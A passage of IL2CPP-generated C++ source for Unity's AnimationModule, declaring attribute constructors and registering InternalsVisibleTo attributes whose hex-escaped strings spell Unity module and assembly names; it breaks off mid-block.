// UnityEngine.Bindings.StaticAccessorType UnityEngine.Bindings.StaticAccessorAttribute::<Type>k__BackingField
int32_t ___U3CTypeU3Ek__BackingField_1;
public:
inline static int32_t get_offset_of_U3CNameU3Ek__BackingField_0() { return static_cast<int32_t>(offsetof(StaticAccessorAttribute_t7A16FF0FA31E38510BBC8BCA5AE56C3E67D5A2BA, ___U3CNameU3Ek__BackingField_0)); }
inline String_t* get_U3CNameU3Ek__BackingField_0() const { return ___U3CNameU3Ek__BackingField_0; }
inline String_t** get_address_of_U3CNameU3Ek__BackingField_0() { return &___U3CNameU3Ek__BackingField_0; }
inline void set_U3CNameU3Ek__BackingField_0(String_t* value)
{
___U3CNameU3Ek__BackingField_0 = value;
Il2CppCodeGenWriteBarrier((void**)(&___U3CNameU3Ek__BackingField_0), (void*)value);
}
inline static int32_t get_offset_of_U3CTypeU3Ek__BackingField_1() { return static_cast<int32_t>(offsetof(StaticAccessorAttribute_t7A16FF0FA31E38510BBC8BCA5AE56C3E67D5A2BA, ___U3CTypeU3Ek__BackingField_1)); }
inline int32_t get_U3CTypeU3Ek__BackingField_1() const { return ___U3CTypeU3Ek__BackingField_1; }
inline int32_t* get_address_of_U3CTypeU3Ek__BackingField_1() { return &___U3CTypeU3Ek__BackingField_1; }
inline void set_U3CTypeU3Ek__BackingField_1(int32_t value)
{
___U3CTypeU3Ek__BackingField_1 = value;
}
};
#ifdef __clang__
#pragma clang diagnostic pop
#endif
// System.Void System.Runtime.CompilerServices.InternalsVisibleToAttribute::.ctor(System.String)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9 (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * __this, String_t* ___assemblyName0, const RuntimeMethod* method);
// System.Void System.Runtime.CompilerServices.RuntimeCompatibilityAttribute::.ctor()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void RuntimeCompatibilityAttribute__ctor_m551DDF1438CE97A984571949723F30F44CF7317C (RuntimeCompatibilityAttribute_tFF99AB2963098F9CBCD47A20D9FD3D51C17C1C80 * __this, const RuntimeMethod* method);
// System.Void System.Runtime.CompilerServices.RuntimeCompatibilityAttribute::set_WrapNonExceptionThrows(System.Boolean)
IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR void RuntimeCompatibilityAttribute_set_WrapNonExceptionThrows_m8562196F90F3EBCEC23B5708EE0332842883C490_inline (RuntimeCompatibilityAttribute_tFF99AB2963098F9CBCD47A20D9FD3D51C17C1C80 * __this, bool ___value0, const RuntimeMethod* method);
// System.Void System.Runtime.CompilerServices.CompilationRelaxationsAttribute::.ctor(System.Int32)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void CompilationRelaxationsAttribute__ctor_mAC3079EBC4EEAB474EED8208EF95DB39C922333B (CompilationRelaxationsAttribute_t661FDDC06629BDA607A42BD660944F039FE03AFF * __this, int32_t ___relaxations0, const RuntimeMethod* method);
// System.Void System.Diagnostics.DebuggableAttribute::.ctor(System.Diagnostics.DebuggableAttribute/DebuggingModes)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void DebuggableAttribute__ctor_m7FF445C8435494A4847123A668D889E692E55550 (DebuggableAttribute_tA8054EBD0FC7511695D494B690B5771658E3191B * __this, int32_t ___modes0, const RuntimeMethod* method);
// System.Void System.Runtime.CompilerServices.ExtensionAttribute::.ctor()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void ExtensionAttribute__ctor_mB331519C39C4210259A248A4C629DF934937C1FA (ExtensionAttribute_t917F3F92E717DC8B2D7BC03967A9790B1B8EF7CC * __this, const RuntimeMethod* method);
// System.Void UnityEngine.UnityEngineModuleAssembly::.ctor()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void UnityEngineModuleAssembly__ctor_m76C129AC6AA438BE601F5279EE9EB599BEF90AF9 (UnityEngineModuleAssembly_t33CB058FDDDC458E384578147D6027BB1EC86CFF * __this, const RuntimeMethod* method);
// System.Void UnityEngine.Scripting.RequiredByNativeCodeAttribute::.ctor()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void RequiredByNativeCodeAttribute__ctor_m97C095D1EE6AAB2894AE7E8B2F07D9B47CB8F8B5 (RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 * __this, const RuntimeMethod* method);
// System.Void System.AttributeUsageAttribute::.ctor(System.AttributeTargets)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void AttributeUsageAttribute__ctor_m5114E18826A49A025D48DC71904C430BD590656D (AttributeUsageAttribute_tBB0BAAA82036E6FCDD80A688BBD039F6FFD8EA1C * __this, int32_t ___validOn0, const RuntimeMethod* method);
// System.Void System.AttributeUsageAttribute::set_AllowMultiple(System.Boolean)
IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR void AttributeUsageAttribute_set_AllowMultiple_mF412CDAFFE16D056721EF81A1EC04ACE63612055_inline (AttributeUsageAttribute_tBB0BAAA82036E6FCDD80A688BBD039F6FFD8EA1C * __this, bool ___value0, const RuntimeMethod* method);
// System.Void UnityEngine.Bindings.NativeHeaderAttribute::.ctor(System.String)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76 (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * __this, String_t* ___header0, const RuntimeMethod* method);
// System.Void UnityEngine.Scripting.UsedByNativeCodeAttribute::.ctor()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void UsedByNativeCodeAttribute__ctor_mA8236FADF130BCDD86C6017039295F9D521EECB8 (UsedByNativeCodeAttribute_t604CF4E57FB3E7BCCCF0871A9B526472B2CDCB92 * __this, const RuntimeMethod* method);
// System.Void UnityEngine.Bindings.NativeTypeAttribute::.ctor(System.String)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void NativeTypeAttribute__ctor_m3DB005847AE3BBCFF1F20783B78E10CF9BA0FFA9 (NativeTypeAttribute_t7A71B541B18D0BA1A9889E05D36CAC56CF9F48D9 * __this, String_t* ___header0, const RuntimeMethod* method);
// System.Void UnityEngine.Bindings.NativeNameAttribute::.ctor(System.String)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void NativeNameAttribute__ctor_mDF2A6FD7D84F21F69BAA6AEC1586427D12882FFC (NativeNameAttribute_tCEF3726869BD5ADC4600DDAC8DF0D4B5AAAF65F7 * __this, String_t* ___name0, const RuntimeMethod* method);
// System.Void UnityEngine.Bindings.NativeMethodAttribute::.ctor(System.String)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void NativeMethodAttribute__ctor_m7F91BF50E5248D4FC3B6938488ABA3F1A883B825 (NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866 * __this, String_t* ___name0, const RuntimeMethod* method);
// System.Void UnityEngine.Bindings.FreeFunctionAttribute::.ctor()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void FreeFunctionAttribute__ctor_m89A928D5B13E0189814C007431EA5EA8EE4768C1 (FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 * __this, const RuntimeMethod* method);
// System.Void UnityEngine.Bindings.NativeMethodAttribute::set_Name(System.String)
IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR void NativeMethodAttribute_set_Name_mC85A9B1CE4650D43D0E73B503753864CA4952A9C_inline (NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866 * __this, String_t* ___value0, const RuntimeMethod* method);
// System.Void UnityEngine.Bindings.NativeMethodAttribute::set_HasExplicitThis(System.Boolean)
IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR void NativeMethodAttribute_set_HasExplicitThis_mB44D70CDD0D14884A4FA84776C3091C742FAFE44_inline (NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866 * __this, bool ___value0, const RuntimeMethod* method);
// System.Void System.Reflection.DefaultMemberAttribute::.ctor(System.String)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void DefaultMemberAttribute__ctor_mA025B6F5B3A9292696E01108027840C8DFF7F4D7 (DefaultMemberAttribute_t8C9B3330DEA69EE364962477FF14FD2CFE30D4B5 * __this, String_t* ___memberName0, const RuntimeMethod* method);
// System.Void UnityEngine.Bindings.NativeConditionalAttribute::.ctor(System.String)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void NativeConditionalAttribute__ctor_m2D44C123AE8913373A143BBE663F4DEF8D21DEF9 (NativeConditionalAttribute_t659349956F06958D4D05443BD06FF5CDC767C88B * __this, String_t* ___condition0, const RuntimeMethod* method);
// System.Void UnityEngine.Bindings.NativeTypeAttribute::.ctor(UnityEngine.Bindings.CodegenOptions,System.String)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void NativeTypeAttribute__ctor_m0914A881DE5A0E58B381CDE59CB821D6DBA4B711 (NativeTypeAttribute_t7A71B541B18D0BA1A9889E05D36CAC56CF9F48D9 * __this, int32_t ___codegenOptions0, String_t* ___intermediateStructName1, const RuntimeMethod* method);
// System.Void UnityEngine.ExcludeFromObjectFactoryAttribute::.ctor()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void ExcludeFromObjectFactoryAttribute__ctor_mAF8163E246AD4F05E98775F7E0904F296770B06C (ExcludeFromObjectFactoryAttribute_t76EEA428CB04C23B2844EB37275816B16C847271 * __this, const RuntimeMethod* method);
// System.Void UnityEngine.Bindings.StaticAccessorAttribute::.ctor(System.String,UnityEngine.Bindings.StaticAccessorType)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void StaticAccessorAttribute__ctor_m0C3215256AEFAEFDDCBCD2BA9AA579CDBB230706 (StaticAccessorAttribute_t7A16FF0FA31E38510BBC8BCA5AE56C3E67D5A2BA * __this, String_t* ___name0, int32_t ___type1, const RuntimeMethod* method);
// System.Void UnityEngine.Scripting.APIUpdating.MovedFromAttribute::.ctor(System.String)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void MovedFromAttribute__ctor_mA4B2632CE3004A3E0EA8E1241736518320806568 (MovedFromAttribute_t7DFA9E51FA9540D9D5EB8D41E363D2BC51F43BC8 * __this, String_t* ___sourceNamespace0, const RuntimeMethod* method);
static void UnityEngine_AnimationModule_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[0];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x54\x4C\x53\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
RuntimeCompatibilityAttribute_tFF99AB2963098F9CBCD47A20D9FD3D51C17C1C80 * tmp = (RuntimeCompatibilityAttribute_tFF99AB2963098F9CBCD47A20D9FD3D51C17C1C80 *)cache->attributes[1];
RuntimeCompatibilityAttribute__ctor_m551DDF1438CE97A984571949723F30F44CF7317C(tmp, NULL);
RuntimeCompatibilityAttribute_set_WrapNonExceptionThrows_m8562196F90F3EBCEC23B5708EE0332842883C490_inline(tmp, true, NULL);
}
{
CompilationRelaxationsAttribute_t661FDDC06629BDA607A42BD660944F039FE03AFF * tmp = (CompilationRelaxationsAttribute_t661FDDC06629BDA607A42BD660944F039FE03AFF *)cache->attributes[2];
CompilationRelaxationsAttribute__ctor_mAC3079EBC4EEAB474EED8208EF95DB39C922333B(tmp, 8LL, NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[3];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x41\x63\x63\x65\x73\x73\x69\x62\x69\x6C\x69\x74\x79\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[4];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x47\x49\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[5];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x47\x72\x69\x64\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[6];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x48\x6F\x74\x52\x65\x6C\x6F\x61\x64\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[7];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x53\x75\x62\x73\x79\x73\x74\x65\x6D\x73\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[8];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x53\x75\x62\x73\x74\x61\x6E\x63\x65\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[9];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x53\x74\x72\x65\x61\x6D\x69\x6E\x67\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[10];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x53\x70\x72\x69\x74\x65\x53\x68\x61\x70\x65\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[11];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x53\x70\x72\x69\x74\x65\x4D\x61\x73\x6B\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[12];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x53\x63\x72\x65\x65\x6E\x43\x61\x70\x74\x75\x72\x65\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[13];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x52\x75\x6E\x74\x69\x6D\x65\x49\x6E\x69\x74\x69\x61\x6C\x69\x7A\x65\x4F\x6E\x4C\x6F\x61\x64\x4D\x61\x6E\x61\x67\x65\x72\x49\x6E\x69\x74\x69\x61\x6C\x69\x7A\x65\x72\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[14];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x50\x72\x6F\x66\x69\x6C\x65\x72\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[15];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x50\x68\x79\x73\x69\x63\x73\x32\x44\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[16];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x50\x68\x79\x73\x69\x63\x73\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[17];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x50\x61\x72\x74\x69\x63\x6C\x65\x53\x79\x73\x74\x65\x6D\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[18];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x4C\x6F\x63\x61\x6C\x69\x7A\x61\x74\x69\x6F\x6E\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[19];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x4A\x53\x4F\x4E\x53\x65\x72\x69\x61\x6C\x69\x7A\x65\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[20];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x49\x6E\x70\x75\x74\x4C\x65\x67\x61\x63\x79\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[21];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x49\x6D\x61\x67\x65\x43\x6F\x6E\x76\x65\x72\x73\x69\x6F\x6E\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[22];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x54\x65\x72\x72\x61\x69\x6E\x50\x68\x79\x73\x69\x63\x73\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[23];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x50\x53\x34\x56\x52\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[24];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x50\x53\x35\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[25];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x50\x53\x35\x56\x52\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[26];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x49\x6E\x74\x65\x72\x6E\x61\x6C\x41\x50\x49\x45\x6E\x67\x69\x6E\x65\x42\x72\x69\x64\x67\x65\x2E\x30\x31\x31"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[27];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x49\x6E\x74\x65\x72\x6E\x61\x6C\x41\x50\x49\x45\x6E\x67\x69\x6E\x65\x42\x72\x69\x64\x67\x65\x2E\x30\x31\x30"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[28];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x49\x6E\x74\x65\x72\x6E\x61\x6C\x41\x50\x49\x45\x6E\x67\x69\x6E\x65\x42\x72\x69\x64\x67\x65\x2E\x30\x30\x39"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[29];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x49\x6E\x74\x65\x72\x6E\x61\x6C\x41\x50\x49\x45\x6E\x67\x69\x6E\x65\x42\x72\x69\x64\x67\x65\x2E\x30\x30\x38"), NULL);
}
{
DebuggableAttribute_tA8054EBD0FC7511695D494B690B5771658E3191B * tmp = (DebuggableAttribute_tA8054EBD0FC7511695D494B690B5771658E3191B *)cache->attributes[30];
DebuggableAttribute__ctor_m7FF445C8435494A4847123A668D889E692E55550(tmp, 263LL, NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[31];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x49\x6E\x74\x65\x72\x6E\x61\x6C\x41\x50\x49\x45\x6E\x67\x69\x6E\x65\x42\x72\x69\x64\x67\x65\x2E\x30\x30\x37"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[32];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[33];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x43\x6F\x72\x65\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[34];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x47\x61\x6D\x65\x43\x65\x6E\x74\x65\x72\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[35];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x49\x4D\x47\x55\x49\x4D\x6F\x64\x75\x6C\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[36];
